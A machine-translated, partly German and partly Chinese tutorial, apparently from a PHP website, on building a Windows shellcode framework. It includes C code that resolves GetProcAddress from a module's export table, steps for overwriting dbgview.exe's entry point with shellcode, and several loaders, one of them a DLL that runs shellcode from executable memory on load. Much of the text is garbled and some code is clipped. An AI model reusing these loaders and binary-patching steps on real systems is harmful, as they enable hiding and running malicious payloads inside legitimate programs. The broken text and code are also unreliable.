Die Essenz von Shellcode ist eigentlich ein Stück Assemblercode, der unabhängig ausgeführt werden kann. Er hat keine Dateistruktur, ist nicht auf eine Kompilierungsumgebung angewiesen und kann nicht wie eine Exe per Doppelklick ausgeführt werden. Ich werde hier nicht näher auf den spezifischen Shellcode eingehen. Sie können selbst nach relevanten Informationen auf Baidu suchen.
Da ich in den letzten sechs Monaten viel Penetration gemacht habe, wird der verwendete Shellcode auch von CS oder MSF generiert. Der vom Tool automatisch generierte Shellcode ist jedoch tot und es gibt keine Möglichkeit, die Funktion zu erweitern Ein weiteres Beispiel ist, dass Sie eine neue Schwachstelle kennen, aber für die Ausnutzung der Schwachstelle kann POC nur einen Rechner öffnen, um die gewünschte Funktion zu realisieren. Daher ist es besonders wichtig, dies zu tun Beherrschen Sie die Shellcode-Schreibtechnologie, und Shellcode spielt auch bei Pufferüberläufen und Würmern eine wichtige Rolle.
Wenn Sie selbst Shellcode schreiben möchten, müssen Sie die wichtigsten Wissenspunkte beim Schreiben von Shellcode kennen. Nachfolgend werde ich die Punkte auflisten, die in Form von Fragen gelöst werden müssen:
1. Shellcode ist auch ein Programm, das normal ausgeführt werden soll und verschiedene Daten (z. B. globale Zeichenfolgen usw.) verwenden muss. Wir alle wissen jedoch, dass auf globale Variablen über feste Adressen zugegriffen wird (hartcodiert). fest codiert). (kann nicht geändert werden) und unser Shellcode kann so angeordnet werden, dass er überall in jedem Programm ausgeführt wird. Wie können wir sicherstellen, dass der Shellcode in diesem Fall genau auf die erforderlichen Daten zugreifen kann?
2. Shellcode läuft auch im Betriebssystem und muss einige System-APIs aufrufen. Wie können wir die Adressen dieser APIs erhalten?
3. Was sollen wir tun, wenn die von uns benötigte API nicht in das von Shellcode ausgeführte Programm importiert wird und wir sie verwenden müssen?
Aus Platzgründen finden Sie die Antworten auf diese Fragen in den drei Artikeln „Einführung in die Windows-Plattform-Shellcode-Entwicklung 1, 2 und 3“, übersetzt vom FB-Seniorautor Rabbit_Run. Im Grunde alle erforderlichen Kenntnisse Informationen zum Schreiben von Shellcode sind enthalten. Sie können Ihre Fragen einbringen, um Antworten zu finden.
Nachdem man diese erforderlichen Kenntnisse kennt, ist es immer noch mühsam und schwierig, Shellcode rein von Hand zu schreiben, ist der Verwendung von JS weitaus unterlegen jquery. Das Framework ist bequem und schnell zu entwickeln. Daher müssen wir ein Shellcode-Programmierframework einrichten, das das Schreiben benutzerdefinierter Funktionen erleichtert. Es gibt viele solcher Shellcode-Programmier-Frameworks im Internet, wie zum Beispiel das, das TK für Open Source verwendet hat, die beiden, die Teacher OneBugMan zuvor geschrieben hat, usw. Ich habe während meines Studiums ein Shellcode-Programmier-Framework geschrieben, aber ich kann es nicht Ich finde es nicht mehr und ich In dieser Zeit der Infiltration habe ich viele meiner Vorkenntnisse vergessen, also habe ich ein Shellcode-Framework geschrieben und es basierend auf dem von OneBugMan unterrichteten Kurs geübt (wenn Sie interessiert sind, können Sie den öffentlichen Kurs unterstützen, der unterrichtet wird). vom Lehrer, was sehr gut ist).
project, um dieses Projekt zu erstellen, und wählen Sie die relative/x86-Konfiguration für die Kompilierung aus. Vor dem Kompilieren müssen wir die folgenden Einstellungen vornehmen:
Der Grund, warum die Dateien auf diese Weise benannt werden, liegt darin, dass sie zuerst nach Zahlen und dann nach Buchstaben angeordnet sind. Die Dateien im Projekt werden auf diese Weise benannt, sodass sie beim Kompilieren und Generieren der Exe in der angezeigten Reihenfolge kompiliert und generiert werden In der Abbildung unten ist die Reihenfolge der Funktionen im Exe-Codesegment auch entsprechend der Reihenfolge der Funktionen in der Datei unten angeordnet, sodass wir die Größe des Shellcodes leicht berechnen können (ShellcodeEnd in z.end minus ShellcodeStart in). a.start. ist die Größe des Shellcodes, wodurch der Shellcode in die endgültige generierte Datei geschrieben wird.
so geändert, dass einige C-Form-Funktionen nicht direkt verwendet werden können und auf dynamische Aufrufformen umgestellt werden müssen. Es gibt auch die Berechnung der Größe des Shellcodes, den wir schreiben.
GetProcAddress-Funktionsadresse und außerdem die LoadLibrary-Adresse abrufen. Mit diesen ersten Schritten können wir die Adressen jeder anderen API abrufen. und dann die verschiedenen Funktionen unseres Shellcodes abrufen. Der Grund, warum die GetProcAddress-Zeichenfolge wie unten gezeigt geschrieben werden sollte, liegt darin, dass bei Verwendung dieser Schreibmethode die Zeichenfolge geschrieben wird zum rdata-Segment im Programm hinzufügen und zu einer absoluten Adresse werden. Die Verwendung absoluter Adressen führt zu Shellcode-Ausführungsfehlern.FARPROC getProcAddress(HMODULE hModuleBase) { FARPROC pRet = NULL; PIMAGE_DOS_HEADER lpDosHeader; PIMAGE_NT_HEADERS32 lpNtHeaders; PIMAGE_EXPORT_DIRECTORY lpExports; PWORD lpwOrd; PDWORD lpdwFunName; PDWORD lpdwFunAddr; DWORD dwLoop; lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase; lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew); if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) { return pRet; } if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { return pRet; } lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if (!lpExports->NumberOfNames) { return pRet; } lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames); lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals); lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions); for (dwLoop = 0; dwLoop NumberOfNames - 1; dwLoop++) { char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase); if (pszFunction[0] == 'G' &&pszFunction[1] == 'e' &&pszFunction[2] == 't' &&pszFunction[3] == 'P' &&pszFunction[4] == 'r' &&pszFunction[5] == 'o' &&pszFunction[6] == 'c' &&pszFunction[7] == 'A' &&pszFunction[8] == 'd' &&pszFunction[9] == 'd' &&pszFunction[10] == 'r' &&pszFunction[11] == 'e' &&pszFunction[12] == 's' &&pszFunction[13] == 's') { pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase); break; } } return pRet; }
图7 生成的shellcode
例如我们想让dbgview.exe运行我们生成的shellcode
第一步:我们使用lordPE查看dbgview.exe程序的入口点。
然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。
源码A
#include <windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode"; void main() { __asm { mov eax, offset shellcode jmp eax } }</stdio.h></windows.h>
源码B
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #include<windows.h> #include<iostream> //data段可读写 #pragma comment(linker, "/section:.data,RWE") HANDLE My_hThread = NULL; //void(*ptrceshi)() = NULL; typedef void(__stdcall *CODE) (); unsigned char shellcode[] = "x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode"; DWORD WINAPI ceshi(LPVOID pParameter) { PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { } if (!(memcpy(p, shellcode, sizeof(shellcode)))) { } CODE code = (CODE)p; code(); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程 case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }</iostream></windows.h>
我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。
代码如下
#include<stdio.h> #include<stdlib.h> #include<windows.h> int main(int argc, char* argv[]) { HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Open File Error!%d\n", GetLastError()); return -1; } DWORD dwSize; dwSize = GetFileSize(hFile, NULL); LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAddress == NULL) { printf("VirtualAlloc error:%d\n", GetLastError()); CloseHandle(hFile); return -1; } DWORD dwRead; ReadFile(hFile, lpAddress, dwSize, &dwRead, 0); __asm { call lpAddress; } _flushall(); system("pause"); return 0; }</windows.h></stdlib.h></stdio.h>
写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin
如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。
原帖子链接工具链接
我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式
这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。
因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。
至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。
Das obige ist der detaillierte Inhalt vonWas bedeutet Shellcode?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!